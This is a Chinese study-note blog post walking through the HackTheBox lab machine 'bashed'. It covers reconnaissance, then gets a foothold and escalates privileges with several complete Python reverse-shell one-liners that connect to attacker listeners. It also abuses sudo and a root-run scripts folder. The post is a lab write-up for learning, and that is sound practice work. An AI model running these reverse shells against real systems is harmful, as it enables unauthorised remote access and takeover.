python shell怎么重复输入上一行_【学习笔记】如何利用Python反弹shell

作者:whale

bashed

bashed是HTB网络实验室研究得出目前易受攻击的机器之一。

端口探测:

80/tcp open http Apache httpd 2.4.18 ((Ubuntu))

100/tcp filtered newacct

1500/tcp filtered vlsi-lm

web目录探测:

config.php: PHP配置文件数据库ID和密码

OSVDB-3268: /dev/: Directory indexing found.

OSVDB-3092: /dev/: This might be interesting...

OSVDB-3268: /php/: Directory indexing found.

OSVDB-3092: /php/: This might be interesting...

在dev/目录下找到php文件,尝试bash -i 反弹shell,失败,bash版本不适合。尝试nc -e反弹shell,nc版本不支持-e参数。

用python成功反弹了一个shell(shell 1)给kali。

kali上监听:

nc -lnvp 1234

网页上运行python命令:

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",1234));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

信息搜集:普通用户:

arrexel❌1000:1000:arrexel,,,:/home/arrexel:/bin/bashscriptmanager❌1001:1001:,,,:/home/scriptmanager:/bin/bash

内核版本:

Linux bashed 4.4.0-62-generic #83-Ubuntu SMP Wed Jan 18 14:10:15 UTC 2017 x8664 x8664 x86_64 GNU/Linux

系统版本:

Ubuntu 16.04.2 LTS \n \l

尝试内核漏洞提权。有内核漏洞,但gcc没有安装。

该怎么提权呢?

现在用户是www-data

尝试cd /home/arrexel,看到了user.txt,获取到flag。。

我还以为会有forbidden权限不够的情况。。。怎么回事,权限没划分好么?

可以看到有三列,都是r——read,分别对应”文件所有者、组群、非组群“,因为非组群的权限是read,所以可读。然后再尝试下rm删除,果然”rm: cannot remove 'a': Permission denied“

/home/scriptmanager目录下,有个脚本,说是检查linux提权的。运行后指出了一些可以运行的exp来提权

但是没有gcc,有exp也没用啊!writeup分享一波~

sudo -u username的用法

-u username不加此参数,代表要以root 的身份执行指令,而加了此参数,可以以 username 的身份执行指令(#uid 为该 username 的使用者号码)

用shell 1运行如下命令,得到shell 2

sudo -u scriptmanager python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.109",1235));os.dup2(s.fileno(),0);os.dup2(s.fileno(),1);os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

用sudo反弹了一个scriptmanager用户的shell。在/scripts目录下,发现了它有root权限,于是我们在该目录下建立一个py脚本。

nc -lvnp 1236

touch pri.py

echo 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("10.10.14.137",1236));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);' > pri.py

学习总结:

这个实验用了很多次python反弹shell。用sudo -u username可以用其他用户来运行命令。本次利用的scripts文件夹会自动运行常用的脚本,从而运行我们加入的反弹shell的py脚本。

但要注意:用户权限设置的注释下面,有一行NOPASSWD: ALL 说明用户使用sudo命令时,无需输入密码。

  • 0
    点赞
  • 0
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值